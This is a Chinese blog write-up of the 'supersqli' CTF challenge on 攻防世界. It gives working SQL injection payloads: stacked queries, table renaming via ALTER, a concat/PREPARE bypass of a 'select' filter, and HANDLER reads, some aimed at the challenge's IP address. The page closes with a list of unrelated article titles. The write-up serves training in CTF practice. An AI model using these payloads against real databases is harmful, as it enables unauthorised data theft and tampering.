博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界web进阶区surpersqli详解
阅读量:2136 次
发布时间:2019-04-30

本文共 2409 字,大约阅读时间需要 8 分钟。

攻防世界web进阶区surpersqli详解

题目

在这里插入图片描述

在这里插入图片描述
源代码发现,sqlmap不可以使用

详解

在这里插入图片描述

强行使用sqlmap无果,只能到这一步,存在surpersqli的数据库
那么我们只能使用手工注入
在这里插入图片描述
在这里插入图片描述
order by 3的时候发现报错,说明只有两列存在

在这里插入图片描述

接着我们使用联合查询,发现select update drop insert where 都被禁止了
那么我们发现堆叠查询可以使用
在这里插入图片描述

http://220.249.52.133:57962/?inject=1%27;%20show%20databases%20--+

在这里插入图片描述

http://220.249.52.133:57962/?inject=1'; use ctftraining;show tables --+

这里,进入ctftraning数据库,查询表

发现了flagtable
那么我们查询字段
此刻我们发现里面并没有内容,
在这里插入图片描述
我们进入sqlmap跑出来的surpersqli数据库试试
发现了一个可疑的表
在这里插入图片描述
(字符串为表名操作时要加反引号)

方法1

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag

alter table
在这里插入图片描述

方法2

使用concat进行绕过

MySQL的concat函数可以连接一个或者多个字符串,如mysql> select concat('10');+--------------+| concat('10') |+--------------+| 10   |+--------------+1 row in set (0.00 sec)mysql> select concat('11','22','33');+------------------------+| concat('11','22','33') |+------------------------+| 112233 |+------------------------+1 row in set (0.00 sec)
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+

在这里插入图片描述

方法3

在这里插入图片描述

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

使用handler函数

mysql> handler handler_table read first;+------+-------+------+| c1   | c2    | c3   |+------+-------+------+|    2 | name2 |    2 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1   | c2    | c3   |+------+-------+------+|    5 | name5 |    5 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1   | c2    | c3   |+------+-------+------+|    1 | name1 |    1 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1   | c2    | c3   |+------+-------+------+|    4 | name4 |    4 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1   | c2    | c3   |+------+-------+------+|    3 | name3 |    3 |+------+-------+------+mysql> handler handler_table read next;Empty set (0.00 sec)

preg_match函数

查找到匹配的字符串 php。

堆叠注入

select * from users where id=1;create table test like users;

就相当于加了一个

将一句话当成了两条命令来执行

转载地址:http://lrugf.baihongyu.com/

你可能感兴趣的文章
运行springboot项目出现:Type javax.xml.bind.JAXBContext not present
查看>>
Java中多线程向mysql插入同一条数据冲突问题
查看>>
Idea Maven项目使用jar包,添加到本地库使用
查看>>
FastDFS集群架构配置搭建(转载)
查看>>
HTM+CSS实现立方体图片旋转展示效果
查看>>
FFmpeg 命令操作音视频
查看>>
问题:Opencv(3.1.0/3.4)找不到 /opencv2/gpu/gpu.hpp 问题
查看>>
目的:使用CUDA环境变量CUDA_VISIBLE_DEVICES来限定CUDA程序所能使用的GPU设备
查看>>
问题:Mysql中字段类型为text的值, java使用selectByExample查询为null
查看>>
程序员--学习之路--技巧
查看>>
解决问题之 MySQL慢查询日志设置
查看>>
contOS6 部署 lnmp、FTP、composer、ThinkPHP5、docker详细步骤
查看>>
TP5.1模板布局中遇到的坑,配置完不生效解决办法
查看>>
PHPstudy中遇到的坑No input file specified,以及传到linux环境下遇到的坑,模板文件不存在
查看>>
TP5.1事务操作和TP5事务回滚操作多表
查看>>
composer install或composer update 或 composer require phpoffice/phpexcel 失败解决办法
查看>>
TP5.1项目从windows的Apache服务迁移到linux的Nginx服务需要注意几点。
查看>>
win10安装软件 打开时报错 找不到 msvcp120.dll
查看>>
PHPunit+Xdebug代码覆盖率以及遇到的问题汇总
查看>>
PHPUnit安装及使用
查看>>